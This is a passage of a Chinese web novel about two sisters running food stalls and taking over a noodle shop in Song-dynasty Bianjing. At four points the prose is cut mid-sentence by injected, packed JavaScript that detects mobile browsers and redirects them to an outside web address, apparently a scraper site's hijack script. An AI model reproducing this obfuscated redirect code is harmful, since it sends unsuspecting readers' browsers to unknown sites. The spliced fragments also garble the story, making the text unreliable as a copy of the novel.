“阿姐，扒龙舟要何时才开始？”陆萱说完便啃了一小口粽子，她吃过粥又馋了，路过卖粽子的摊子忍不住缠着陆琼要了一份。 这家粽子花样多，不仅有角粽还要锥粽、筒粽，馅料也是层出不穷，大多是甜口，蜜饯的、夹了果子的、包杨梅的、赤豆馅还有银杏的。 陆萱选了夹蜜饯的，咬一口便连着果肉一起，香香甜甜，软糯的糯米夹了有嚼劲的蜜饯，好吃到停不下来。 陆琼也没亏待自己，买了份赤豆馅的，这时还没见过夹肉的粽子，可能是不流行，一早上光忙着收钱还没来得及尝，闲下来还要回陆萱话：“阿姐也不知，不过见这河两岸人愈来愈多，许是快了。” 金娘也正好赶来，二人各自忙着出摊，没功夫聊天，互相点头也算是打过照面。 步入五月，百姓对饮子也越发喜爱，再过一月多就能用冰，届时香饮摊也会更多，连酒楼店铺也会开始做饮子卖，陆琼生意不一定能有这时好，不过眼下还不用愁。 今日出摊没多久便卖掉大半酸梅汤，比她先前预估的要好，转眼间又卖出几份，还搭上几块糕点，陆琼把其中一个食盒盖好，放到背篓里。 大宋的百姓太爱吃甜食了，广寒糕清淡少人买，甜到发腻的红豆山药糕和枣泥馅的倒是受人欢迎，一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773948|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就卖光。 就是酸梅汤也要多加糖，有位小郎君加了近十块冰糖，把陆琼吓得不轻，后来便不让客人自己加糖，每人固定三到五块，否则她的糖没几下就能用光。 她们摊位靠桥，抻长脖子也能看见不远处放了龙舟，六七艘并成一排，每只龙舟上都是彩旗飘扬，挂着红灯笼点缀。龙舟竞渡时，鼓声四起，浪花飞溅，场面格外壮阔，龙舟争先抢后，才领先又被赶上，围观的行人也提心吊胆。 桥上人挤人，陆萱也撇下摊子去凑热闹，跟着人一起喊。霜姐儿见了也闹着要去，金娘怕她被人挤散了就哄着她，还去买了根冰糖葫芦。 待竞渡结束，众人才渐渐散开，陆琼期间还不忘推销酸梅汤，现下也是一点不剩，正高兴着便见广寒糕还有四五块，她跟陆萱都吃腻了，就都分给霜姐儿吃。 霜姐儿左手抓着糖葫芦，右手捏着糕点，嘴上沾了糖，一吃糕点就粉上一圈白的，引得路人也发笑，都乐意去金娘那买一份豆腐。 陆萱从桥上下来，陆琼也收好摊，盖上木盖，叠好碗便要走。 金娘借此拉住她的手，压低了声：“去找裴家人时千万小心，他们家新妇杨三娘是个碎嘴，莫叫她给碰见，不然日后会到处嚼舌根。” 男女之间容易生是非，陆琼也懂这个道理，但还是感激金娘愿意跟她说上几句，弯起眸子道：“我都知道的，谢谢金娘。” “裴小郎也是好的，”金娘叹气，“性子冷，但是热心肠，先前在埠头搬过活，还帮过我家郎君，就是眼神太凶了，说话也冷冰冰的，不然凭他手艺怎么着也能收徒开店了。” 陆琼再次点头应好，跟霜姐儿挥手道别也加入过桥的队伍。 回去路上还去买鱼，因着过节，价钱还涨了五文，陆琼便觉得她今日不涨价亏大了。 “小娘子，你还是见识少。” 卖鱼的郎君拿刀刮鳞片，乐呵着：“天中节人多，不只是住在汴京的人会看龙舟，就是城外也不少人赶来。这几日的客栈都人满为患，勾栏瓦舍座无虚席，不愁没钱赚，你就是卖得再贵，也有人买账。” 陆琼心道一声奸商，面上却笑着接过挂鱼的草绳，叫陆萱给他二十五文。 正要离开便听见身后传来争执，还伴随着物件破碎声：“这是我娘花大半积蓄盘下的铺子，我想卖就卖，想关就能关。” 见陆琼直勾勾地望着对门，卖鱼的郎君边磨刀边道：“他们家原先是卖汤饼的，手艺好得很，谁知天公不作美，那小娘子的母亲前阵子生了病，不知哪来的亲戚全跑出来，跟这小娘子抢铺子。” 陆琼不解：“这不是有红契呢，他们在这撒泼应当也是徒劳。” “哼，”卖鱼的郎君恨恨放下刀，“有何用，他们整日在这闹，生意都做不成，三天两头闹一回，连我们也受影响。小娘子的娘日后也要用钱，现在还有前些年攒的积蓄撑着，但住在城中一日便要多花一日钱，迟早得坐吃空山。小娘子还要照顾她母亲，也不能把铺子开起来，只好把铺子赁给别人，可现下她亲族这般闹，谁还敢去接手。” 街边还在不断争吵，陆琼扯着陆萱衣袖往人少的地方走，她还要去裴家找人定制小推车，也不知道会不会撞上杨三娘。 12. 小推车 忙活好半天，终于回到坊里，房屋拥挤的好处是庇荫地多，像龙津桥那般便是会暴露在烈日下，也好在她们只是上午出摊，太阳还没这么晒。 推开门便见雪儿守在院门，尾巴摇得欢快朝她们奔来，围着二人打转。 陆萱也半跪在地上，抱起雪儿，摸摸它乱窜的头：“雪儿今日壮了不少，都有肉了。” 那厢陆琼把东西放进灶房，又从钱筒数出些钱，急匆匆跨过门槛：“我去办点事，萱儿顺手去洗净鱼，把血水冲掉便好。” 陆萱点头应好，跟雪儿缠缠绵绵打闹几下才去做事。 通济坊四通八达，共有五条巷子，陆琼住在靠里的宅子，去龙津桥必须经过金娘家，那一带房子较宽敞，通常都是住了好几口人，更有的还是四世同堂。 现下正是饭点，家家户户都在开火做饭，菜香飘散在巷子里。 面前迎来一辆独轮推车，陆琼只好靠着墙走。上边放了些瓜果蔬菜，都是挑剩下的，零散的萝卜、黄瓜，还有一小篮桃儿，越临近盛夏，果子也越发多，单李子就有二十多种。 快出巷口，才见到裴家，对比别家热闹的过节氛围，裴家的宅子便显得冷清。陆琼在墙外停留片刻，只能听见细小声响，像是在敲打东西，除此之外没听见有女子的声音，杨三娘应当是过节去了。 门上装有铺首，她用手轻轻叩响铺首衔环：“有人在吗？” 院里敲击声停下，过了许久才有人开门，果不其然是那日的小郎君，今儿穿了短褂，露出结实的小臂，见到陆琼也面无表情，似是在等她开口。 这人性子真冷。 陆琼只好朝先他行礼，才道明此行目的，从车的样式到资金预算全说出来。 裴玉思索片刻才有反应，眉头轻拢：“你说的车我从未见过，怕是要费不少功夫，还有你这钱也是不够的，单两个轮子就要八十文才做得来。” 街上最常见的推车便是方才遇见的独轮车，前头一个轮子，后边两个把手，下边还有两根短木支撑，正好构成三角关系。 陆琼想要的是跟后世小吃街差不多的推车，下方用木板围起，中间掏空可以架炉子，两旁堆杂物，可以省不少劲。 既然能做，那就不必怕花钱，她安慰自己这是为了更好地挣钱。最后跟裴玉谈到三百五十文，先付一百文当定金，其中还包括买木料的钱。 解决完一大心事，陆琼才回去处理食材。 鱼已经洗好放在盆里，她要两只手才能完全握住，先用刀切成块状，放入姜、葱、盐、酱、酒，搅匀后再静置半刻。 “阿姐，”陆萱从别处回来，就兴冲冲跑进灶房，把手里的五彩绳给她看，“这是金娘给的，我与阿姐正好一人一个。” 说完就把其中一根绑在陆琼手腕上，还欣赏好一会儿。 陆萱先前趁洗鱼的间隙，用糯米粉搓了不少圆子，放锅里蒸了一小会儿便好，撒上桂花便给金娘家端去一份。金娘见她两手空空，便给了陆萱端午用的五彩绳，可以祈福辟邪。 见她高兴，陆琼也跟着笑，刚想去拿面粉，发现手上沾湿不方便：“萱儿去舀碗生粉来，再拿些鸡蛋。” 陆萱应声好，便风风火火跑到柜里取出面粉，全倒进空盆子里。陆琼也打入两颗蛋，用筷子搅成糊状，跟鱼块混合均匀，便能准备下锅。 她做的是炸鱼块，得费不少油。火烧起来，油也在锅里噼里啪啦地响，鱼块被炸成金黄色，定型后翻面，炸两次就能出锅，外表酥脆，里面鲜香。 引得陆萱这个小馋鬼早早就守在旁边，一出锅就迫不及待夹了一块，刚放嘴里就眯眼感叹：“好酥好脆！” 陆琼尝了一块，味道有些咸，不过也能下饭。 后来几日，她们上午照常出摊，傍晚也会到州桥卖上一时辰到香饮子，有了固定客源，收入也越来越稳定。 州桥夜市比龙津桥还多人，陆琼的摊子已经不能满足食客的需求，便推出五文一份的杨梅渴水。杨梅捣成泥，用棉纱布过滤出汁水，在锅里熬成酱状，类似浓缩果汁，颜色暗红，加水后便是透亮的淡粉色，味道酸甜，大受欢迎。 夜晚州桥上乘着风，人群熙熙攘攘，酒楼处处鼓瑟笙箫，侣人相伴，对酒畅谈，桥下画舫佳人弹奏，水面也激起涟漪。 陆琼在州桥摆摊的第一天，差点被抓去官府，理由是她没有摆摊的公凭，吓得她立马掏出街道司的盖章。巡吏跟她解释说，这份公凭只能在龙津桥用，不同地点要另外算，在州桥摆摊要再登记一次。 先前龙津桥一月二十文，州桥一月就要五十文。虽然心疼，但她咬咬牙也敲定下来，毕竟这里是汴京最大的夜市，剩下的苦也只能憋在心里。 谁知摆摊第三天就又碰上事，一位满脸胡子的食客扯了个小娘子，非说他妹妹在这吃了饮子后肚子疼。陆琼瞧那位娘子，确实前不久才来光顾过，心里一沉，手心都开始冒汗。 陆萱见那胡子浑身是肉，把衣裳都绷紧了，像是一拳能打飞三个她，也不敢说话。 胡子食客一股凶狠劲，完全不讲理：“怎么也不给个说话？我这妹妹才十六，若是有什么好歹，你这摊子也不用开了。” 夜晚本就多人，他这一嗓子把不少人的目光都引过来，远远望着她们摊位窃窃私语。 “客官冷静些，”陆琼前世也遇见过类似的事，只是突然碰上有些被唬住，这下也反应过来，好生说道，“小娘子是何时到我这吃的？买的可是什么？在这之前有无吃过别的东西？” 她这些天只卖山药糕和杨梅渴水，按理说食材都是新鲜的，制作过程中也没有出现过不卫生的情况，饮子也是常温不加冰，很少会出现肚子疼的情况。 小娘子却是不说话，只怯生生瞧陆琼一眼又低头，反倒是她兄长一直在吵闹，颇有些无理取闹的成份。 陆琼眼底闪过一丝疑虑，他们怕不是来闹事的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773949|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是想要钱？ 可周围人都在看着，若是没有解决好此事，往后生意也难做，她笑起来：“这位小娘子，从方才到现在，我见你虽没说过一句话，脸色看着倒也正常，可是肚子不疼了？” 小娘子嘴唇微张，还未开口便被她兄长一个眼神压制住。 胡子食客还继续耍赖，却说不出个所以然。 这种情况是最为棘手的，对方不肯配合，像是来硬碰瓷的。若是前世，陆琼还能用监控自证，现在对方胡搅蛮缠，她怕是要吃亏。 “客官继续这般闹下去，我们就要去报官了。” 陆琼说着便拉着陆萱胳膊，凑到她耳边，假装是叫她去报官，实则是叫她做个样子，到别处随便逛一圈再回来。 不想那小娘子胆子小，见她要去报官就揪着兄长衣袖，小声道：“小娘子稍等，是我记性不好。我不是在这吃坏肚子的，是上午喝了碗醍醐，想必是吃不惯才闹肚子了。” 醍醐是牛乳提炼出的奶制品，也是大好的滋补品，乳糖不耐受的人吃了当然闹肚子，不过时下还没有这个说法，百姓只会觉得是自己吃不惯。 至于这位小娘子说的是真是假，陆琼也不想去追究，双方各给一个台阶，便想这件事就这么过去。 可胡子食客还不肯罢休，还是那小娘子才硬气一回，把人拉走才了解此事。 见人都散开，陆琼才松口气。别人耍赖，她不能跟着不讲理，赢了也会被嚼舌根，生意做不长久。可性子太软也不行，别人说什么都被牵着走，今天是长胡子的，明天就是无眉毛的，她生意也不用做了。 好在围观的行人也是站在她这边，也有人识破他们的计谋，都跟着愤懑不平。 可被这么一闹，陆琼也没心思摆摊，所幸杨梅渴水受欢迎，没剩多少，稍微捯饬几下，便收摊回去。 天色已晚，坊里对比街上显得冷清，一进巷子就自动屏蔽掉外头的喧嚣，少有人家在门上挂了灯笼，照着她们二人走了小段路。 陆萱低着头，有些闷闷不乐：“阿姐，方才的人是在闹事吗？” “应当是，”陆琼望着前方，道路越来越狭窄，“不过我们还是解决了，以后这种事只会多不会少，我们也要加强警惕心。” 怕她越想越深，陆琼笑着道：“裴玉上午说推车做得差不多了，这会儿应当是送过来了，我们赶快回去看看。” 本以为裴玉做好会直接放到门外，却不想她们回去就碰见他等在外边。 陆琼见到推车眼里就装不下别的，车把光滑平整，打了腊不刺手，比她之前做的竹筒子好上太多，上手摸了好几下才满脸笑意道：“小郎君，你做的太好了，跟我想的是一样，甚至比我想的还好！” 平时情绪内敛的裴玉，被她这般直白夸赞也有些不习惯，只是天色晚不太明显，只说自己有事要做，收下钱便转身离去。 陆琼也把车推进院里，观摩好久才肯去做晚食。 13. 汤饼铺 端午过后，汴京常常下雨，她们的推车用了几日便放院里闲置，故而这两天都窝在家里，除了置办生活用品，哪儿也没去。 堂屋外的雨淅淅落下，在屋檐下形成一道雨幕，所幸天不热了，凉快不少。 用过午膳，陆琼半躺在长椅上，下边垫了张干稻草填充的长垫子，软乎乎的。上午撑伞去包子铺买了笋肉馒头，即便下雨铺子里也生意兴隆，蒸笼一掀，热气腾腾，食客都争先买光，掌柜收钱的手都发软，她可太羡慕。 不过陆琼也不差，在汴京也有快一月，挣得钱比过去几年的积蓄还多，还是做生意好啊，商业发展连带着她这样的普通人也能分一杯羹。 院门被推开，金娘撑着伞过来，还提了一篮杏子：“这是贵妃杏，按你说的，都是八分熟，刚刚尝了个酸得很。” “酸才好，”陆琼走过去拨了几下泛青的果子，“做成蜜饯就带点甜味儿，还有嚼劲。” 琼姐儿手巧，也肯花心思在吃食上，金娘做她邻居也时常跟着沾光，又想起前些天聊的事：“龙津桥的公凭真不续了？” 陆琼含笑点头：“州桥离皇城近，夜市更热闹，挣得也比白天多。” 金娘也不多劝，她卖豆腐的当然是白天多人买，琼姐儿又是另外的说法，聊上几句便回去了。 人走后，陆琼也回屋歇会儿，伴着雨声很快就睡意朦胧，醒来时雨便停了。 正好，把杏子做成蜜饯，准备些糕点饮子晚上就能出摊了。 前世她就是喜欢酸甜的东西，来到这更是一发不可收拾，年年都要腌渍各种吃食。先前听到有人卖杏子，就想起吃过的杏干，立刻跟人买了好几斤，还特意选的未完全成熟的，一是好腌渍，再是价钱低，八文能买一斤。 下雨也好，家里能装水的器皿都摆在院里，现在也蓄了不少水，她难得不用跑外边去打水，倒是自在。 杏子全部浸水，搓净表皮，再过几次水便好，难做的是去核。陆琼怕忙不完，把陆萱从被窝里叫过来帮忙，两人用小刀分成两半，掏出核放在一边。 足足忙有半个时辰，最后她的手都是杏子香。 陆萱的手都起皱，小脸也跟着苦兮兮：“阿姐，我们下回还是直接买吧，自己做太麻烦了。” 陆琼心里也苦，有些钱还得是别人赚，本来还想做成了就拿去卖，谁知第一步就难倒她。 去完核还要加糖腌渍半天，用木盆倒扣好，便搁在阴凉处静置，等明天再熬汁水。 接下来陆琼还要洗杨梅，这些天都卖的杨梅渴水，比酸梅汤卖得好，她就不做酸梅汤了，专门做杨梅渴水。就是杨梅也难处理，酸梅汤可以直接买食材熬成一大锅，杨梅还得先洗，买得量多还会碰见几个生虫的，要先挑出来。 陆萱也蹲在地上帮忙挑果子，好的直接放水里，没多久便弄好。 “可以去生火了，顺便把糕点的馅儿一块蒸了。” 霜姐儿坐在凳子上，由着金娘给她梳发髻，依旧是三角髻，左右两边还插了朵小花，咬一口馒头，吃得津津有味。 闻到一股淡淡的桂花香，金娘嘴里嚷嚷：“琼姐儿又出摊去了。” 下雨柳海岩也不出工，在家织竹编，手上都是印子：“你这是羡慕？” 金娘瞥他一眼：“要不说你是呆瓜，我有什么好羡慕人家的。琼姐儿可不止手艺好，还总是想出巧点子，前阵子还说买六份糕点可以送一碗渴水，可是引了不少人去。” “我就只能卖豆腐了。” 柳海岩嘴笨，说不出安慰人的话，金娘也知道他的性子，发发牢骚就去做晚食了。 车上堆满了食盒、渴水，陆萱摆凳子，左右各两张，陆琼把渴水放在上边，贴上毛笔写的“杨梅渴水”，各种食盒也掀开盖，摆成一排。 陆琼摆摊好几回，每回都有人觉得她车子稀奇，今儿一来就见好几辆一样的车，连挂招牌的地方都一样。 没办法，她也不能搞垄断，不过生意确实没起初好，毕竟客流量分散了，过不了几日怕不是满大街都是这样的车了。 还好她们是有熟客的。 陆琼腰上系了碎花围裙，笑着望向来人：“还是一份渴水？四份枣泥山药糕？” 食客点头，还多加了两份绿豆糕，她把糕点叠在油纸上，用麻绳打包提好：“客官慢走！” 陆萱也在一旁收钱，递渴水，陆陆续续也接待有十多位客人。 陆琼选择在州桥摆摊的缘由很简单，除了人多，再就是离皇城近，常常能碰见富贵人家，给钱大方，有时放下一块碎银子就走人，还不用找钱。 忍不住想，要是天天碰上这种客人，她用不了多久都能发财了。 “阿姐，阿姐？” 陆萱叫了好几声她才回过神，原来是来客人了，赶紧站起来招待人。 小娘子长相端正，五官秀气，梳了双垂髻，衣裳用得是上等布料，腰间挂了藕粉的香囊：“要两份渴水，六份绿豆糕，六份桂花糕。” “好嘞！” 这一下就赚七十文，陆琼脸上笑意更深，正要拿自己碗盛渴水，却被阻止。 递上一个雕漆金食盒，小娘子笑着道：“用这个便好。” 陆琼看着她那发亮的食盒，再对比自己的竹编食盒，人跟人的差距可真大，不过很快就抛在脑后，天大地大，客人最大。 食盒分三层，底下放渴水，中间一层放绿豆糕，最顶层放桂花糕，确保盖严实了才还给那位小娘子。 小娘子拿出一锭银子，看大小能有二三两，见陆琼不明所以，解释道：“我们家娘子近来怀有身孕，吃不下东西，倒是能吃下你家的点心，清爽还不会生腻。往后隔三差五也会叫人来取点心，这算是一月的钱。” 陆琼被这破天富贵砸昏了头，直到人家走了才反应过来，捂着胸口久久不能平静。 陆萱反应也不比她小，楞楞地拿着钱，钱筒子都要装不下：“阿姐，这银子放哪？” “给我拿着。”陆琼把它装进钱袋，塞到里衣，这可相当是把几千块现金装在兜里，顶上好多人半月工资了。 隔壁卖果子的婶子也凑过来：“方才的小娘子可是谢家的婢子，听说谢家对下人大方，不克扣工钱，还管吃管住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773950|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，瞧那小娘子长得多好。” “有这么好？”陆琼不大信，哪有不压榨员工还对员工好的老板。 见她摇头，婶子也不急：“要是吃不饱穿不暖的，能混口饭就算好，在人家府里当下人可是顶好的事，小娘子你是没赶上饥荒，可是能死好多人……” 婶子从她出生说起，聊她怎么躲饥荒，又是怎么在汴京扎根的。还聊起谢家，谢家有好几房人，大房住在主宅，其他房都分去别处宅子。大房有两个儿子，大儿子前年娶妻，就是适才小娘子服侍的人。二儿子倒是不大了解，只知道先前考上举人，之后就没消息了。 陆琼见她说得这么清楚，心里也发毛，这有钱人也难当，一有风吹草动大家都知道，还是当平民百姓好，关起门过日子，冷暖自知。 婶子嘴碎，还说上点别的，聊桥头卖粥的生了几个孩子，谁家考上秀才，陆琼边点头应和边招待客人，见食盒空了，时候也不早了，便跟婶子告别。 食盒叠在一起，挨着桶放在车下边，跟陆萱一人扶一边推这车就回去。 天色越暗，出来玩乐的人更多，街边的铺子大门开着，还不见歇业的样子。 “阿姐，开铺子真好。”陆萱见饼铺灯亮着，娘子就着火炉给食客烙饼，揪一团剂子就能摊面饼，不像她们要在家提前备好，卖光了便回去，卖不完就亏钱。 陆琼当然知道开铺子好。 其实这段时间摆摊挣得钱也不少，虽有些吃力也能盘下一个铺子。就是没见到有人转让铺子，有也很快被人抢先了，也不知道什么时候才能轮到她。 从州桥到通济坊一条街，能见到先前卖鱼的铺子。 端午那日闹事的铺子早早转租出去，据说一月只要二两银子，这可是在城中心啊，要不是没钱，陆琼怎么说也得拿下。 那铺子后来也是卖汤饼，小娘子的亲人起先还去闹过事，谁知租铺子的人家也不是好惹的，二话不说就去请官府的人来，原来那掌柜的儿子是个衙役，把人关上几日，就没人敢来闹事。 不过这铺子今天怎的这么冷清？ 陆琼推着车，刚走到卖鱼的铺子，就被那卖鱼的郎君叫住。 “小娘子，”他压着嗓音，“快过来。” 叫陆萱守在车子旁，她有些诧异：“怎的了？” 郎君道：“先前你不是想要赁下那汤饼铺？” 陆琼点头，皱了下眉：“可这不早租出去了。” “哎，”郎君叹气，“可别说了，他们家的汤饼不好吃，也不是不好吃就是味道一般，先前的汤饼铺味道可是一绝。前后对比先来，这家的糖饼可不就是不好吃，而且这掌柜脾气大，谁敢上他家吃去，连带着我们生意都不好。” 陆琼也不知道怎么安慰他，倒是觉得他可怜，先前有人闹事生意不好，现在对门冷清他这也跟着没客人，真的太惨了。 郎君还道：“我昨天才听见他们说要转让铺子，小娘子要是还想赁下那铺子，可得赶紧的。” 见他这么着急，属实是被折磨不浅，陆琼也觉得好笑，跟他说再考虑考虑，便带着陆萱回家去。 14. 杨姐儿 这天醒来终于不是伴着雨声，见外边巷子嘈杂起来，陆琼没多磨蹭就下床换身衣裳。 连续下了几天雨，衣服都晒不干，放在屋里也开始生味道。她把积攒几日的衣服堆到盆里，又塞上几根皂荚，才抱着盆去蔡河。 赶早的可不只陆琼一个，路上遇到了别的婶子，还是在她家摊位买过熟水的。 何六姑提着竹篮，脸上笑出褶子：“去捣衣呢，萱姐儿怎么没跟你一起，平时不都是跟在你身后转的？” 陆琼也笑：“昨晚忙坏了，还没起来。” “也就你这般惯着她，谁家不是跟着大人去干活的。”何六姑也只是打趣，不是真的呵斥。说完还跟陆琼预订了五份山药枣泥糕，说是明天拿来招待客人，还要皮薄馅厚的。 坊里的人陆续出去做事，陆琼也走到蔡河边，埠头那依旧热闹，漕船靠岸，纤夫拉船，号子声此起彼伏。 河边捣衣的人家也不少，有的也是常常碰见的妇人，手下捶打衣裳，还不忘跟旁人吐苦水。大娘也住在通济坊，儿子在酒楼做事，女儿是绣娘，整日都在愁小娘子的婚事，一直道还没有相中的好人家…… 陆琼衣裳不多，听着她们闲聊衣服也慢慢洗好，拧干水就放回盆里。 等她把衣裳都晾在院里的竹竿时，灶房就传来阵阵扑鼻的香味，是葱油饼！ 在她走后没多久，陆萱也起来做早食，家里还剩下点面粉，干脆用来做饼吃，见陆琼进来，赶紧招呼她趁热吃：“阿姐，方才金娘还端了豆浆来，说是做豆腐剩下点。” 陆琼这才看到桌上摆着两大碗豆浆，还冒着热气，质地细腻，看着就很醇厚。 今儿起早还没来得及吃东西，本就饿得不行，这下更是馋了，刚挨凳子坐下，就忍不住先常了口豆浆，豆香浓郁，还带着甜味，喝下去整个人都舒服不少。 “有些甜，可是加了糖？” 陆萱手抓着葱油饼，点头含糊道：“原先味道太淡了，我就放了糖。” 按照她们家以前的条件，油盐酱醋都是省着用的，更别说喝豆浆要放糖，陆琼瞧她吃的津津有味，好似放糖不过一件平凡事，也跟着欣慰起来，她们日子也是越过越好。 以后还要挣更多钱！ 吃完早食便要开始准备做蜜饯，经过一夜的腌渍，已经出了不少水，陆琼把腌好的杏子放到桌上，挽起袖子就去烧水。 水沸，杏子放入水中，熬上片刻，捞出杏子放在竹编筛子上，滴滴汁水往下坠。 幸亏今天放晴，放到院子里晒几天就能干，要是遇上雨天，就得用炭火烤，还要时时盯着。 陆萱帮忙搬几张凳子到外边，平着放，陆琼把竹筛夹在凳子腿上，析出的汁水便不会滴在凳子上，还能干得快些。 “阿姐，”陆萱蹲在地上，双手撑得脸变形，“家里的面粉用光了，我们待会儿去买吧，不然下午做不成糕点了。” 陆琼把杏子都拨散开，指尖还沾到杏子水，黏糊糊的，犹豫几番还是开口：“也好，不过还得去那汤饼铺看看，昨天卖鱼的人家说他们正在转让，我们先前不也想开铺子，现在也有闲钱，干脆趁早把那铺子拿下。” 陆萱听这话眼里冒着光，有些不敢置信，拔高了声：“真的？我们真的要开铺子？” 她之前听阿姐提过，还以为是在开玩笑，谁能想她们家一月前还在山上采药，现在就说要开铺子，听起来有些不真切。 陆琼见她惊得嘴巴合不拢，有些好笑：“自然是真的，我钱都算好了，那铺子一月要二两。我们摆摊一天除掉成本也有三百文，一月少说也挣有六七两，到时开铺子生意定是会更好。” 家里的钱都被陆琼管着，陆萱也没去算过她们能挣多少钱，现在听到六七两银子更觉得不敢相信，这可抵得上村子里好几口人一年的收入了。 直到出门，陆萱也是懵的，只会跟在陆琼背后做苦力，提东西。 陆琼先去跟小摊贩买了山药，再去杂货铺买的面粉，像往常一般掏出三十文，掌柜却说涨价了，要二十文一斗，两斗是四十文。 陆琼还握着铜板，有些硌手：“怎么突然涨价了？” 掌柜也唉声叹气，说是今年有些地方的收成不好，许多粮食都跟着涨价，除非等到秋收，不然这价钱只会愈来愈高。 听得陆琼心里拔凉，这样一来，她做生意的成本一下就多了不少。 可今晚还要出摊，贵也得买下来，怕后边还要升价，比平时还多买了几斗。 陆萱背着竹筐，开铺子的兴奋劲一下没了，也跟着发愁：“阿姐，这样下去我们还有钱开铺子？” 毕竟一下就花去好近百文，后边还有别的食材要买，也不懂阿姐为什么涨价还买这么多。 陆琼没回答她，只是去买了些山药、红豆、红枣，见糖葫芦还是五文一串，顺手买了两根，到时给霜姐儿带一根。 兜兜转转，她们还是在汤饼铺停下。汤饼铺跟通济坊只隔了一座州桥，周遭铺子人满为患，汤饼铺确实冷冷清清，连苍蝇都不肯光顾，门上招牌还是先前留下的，堂内桌椅也摆得稀疏。 不过也是，儿子是衙役，每月都有俸禄拿，他们做长辈的何必去操劳，还不如放心在家养老。 大门敞开着，屋内就坐了一对夫妻，看起来有五六十岁，应当就是掌柜。还有一位小娘子在擦桌子，没客人可不就是要找点事干才不会显得自己没用。 见陆琼二人进来，那对夫妻也没有多大反应，只有小娘子肯上前招待：“两位是要吃些什么？” 陆琼也不是来下馆子的，跟她说明自己的来意，就等那对夫妻回应。谁知他们要陆琼按足月的租金交付，也就是剩下不到半月，陆琼要付二两，可真是狮子大开口。 她才不会由得他们宰割，从容地笑：“至多一两，你们这铺子开得越久，亏损越多，总之我是不急的。” 陆琼不急，这对夫妻急啊，他们原本以为这铺子旺，才会跟人盘下来。不仅雇了人，还花不少钱买各种食材，除了头几日光顾的食客多，后来就陆续断了客流，铺子里便一点收入也没。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774942|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆萱跟陆琼挨着，隔着他们一段距离说话：“阿姐，他们会同意吗？” “放心，肯定会的，除了我们也没人敢要这铺子。” 果不其然，妇人瞥她一眼便跟她丈夫咬耳朵，刚开始还起争执，脸红了一边，后来也同意了，跟陆琼说好一两，便迫不及待把住在附近的小娘子叫过来。 芸姐儿就是这铺子原掌柜的女儿，好好一个铺子被这家人糟蹋成这般，她心里也不是滋味，总觉得对不起母亲，毕竟是瞒着母亲把这铺子租出去的。 现在听他们说要转让给别人，心里还一喜，她这铺子是要活起来了？ 可没想到，等她赶去时，见到的就是两位小娘子，看起来最大的也比她小，脸上素净却也秀气，瞧着就是食指不沾阳春水的，怕不是把这当成儿戏了。 心里叹气，她面上也只能好生说道：“就是二位小娘子要租下我这铺子？” 陆琼站出来，笑道：“正是，方才也与掌柜商讨好，我付与他们半月的租金，这租契就重新起，到时再跟你续下月的租金。” 芸姐儿思索一下便也明白，取来租契，重新起契，还去官府备案，红契一人一份，转让铺子这事便暂时告一段落。 待人走后，陆琼才有心思打量起这铺子，灶头就靠墙紧挨着门，两个灶口，一个大水缸，缺的东西不多，油盐酱醋杂货铺就能买，锅碗瓢盆也是。进门右手边就是桌椅，其实这铺子空间不大，摆满五张桌子便有些拥挤，只能够坐二十人。 还想再看几眼，陆萱便扯住她袖子，小声道：“阿姐，有人还在这。” 原先的小娘子孤零零地站在门口，看起来跟陆萱差不多大。陆琼问了才知，这铺子租给她们，她就没人雇了。 见她实在可怜，就问她一月要多少。 杨姐儿眸光微闪，以为有希望：“不多，二百文。” 才二百？陆琼只是停顿片刻，就见杨姐儿紧张起来，想着日后也需要人手帮忙，而且方才就见她干活利索，不是个懒散的人，便将人留下：“一月三百文，若是做得好还能加钱，做不好就只能走人。” 杨姐儿听到能留下就很欣喜，没想到还能涨一百文，激动地忙跟她道谢。 陆琼还要回去做熟水，就叫杨姐儿先回家，明天早上再过来。谁知杨姐儿听这话更不安，忙拿起扫帚就说自己要干活，陆琼怎么说也不肯听，直到她再三解释，陆萱也跟着劝说，才肯放下扫帚。 